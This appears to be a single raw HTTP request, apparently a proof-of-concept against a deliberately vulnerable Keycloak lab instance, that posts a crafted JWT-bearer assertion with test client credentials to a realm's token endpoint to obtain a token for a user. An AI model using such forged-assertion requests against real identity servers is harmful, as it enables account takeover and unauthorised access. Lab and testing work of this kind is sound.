POST http://keycloak-vuln-cve11800:8080/realms/test-realm/protocol/openid-connect/token
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
client_id=test-app
client_secret=test-secret
assertion=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJiZThjMzM3OS1jZjJmLTRjNDAtODUxMy1lMzk3ZTNmYWMwZGIiLCJpc3MiOiJodHRwczovL2F1dGhvcml6YXRpb24tZ3JhbnQtaXNzdWVyIiwic3ViIjoiYmFzaWMtdXNlci1pZCIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvdGVzdC1yZWFsbSIsImV4cCI6MTc4MzI2NjA2MSwiaWF0IjoxNzgzMjY1NzYxfQ.ihJx4smuhTpS6nVc6M3XoHcVh_0-o1dqCecOtByznOc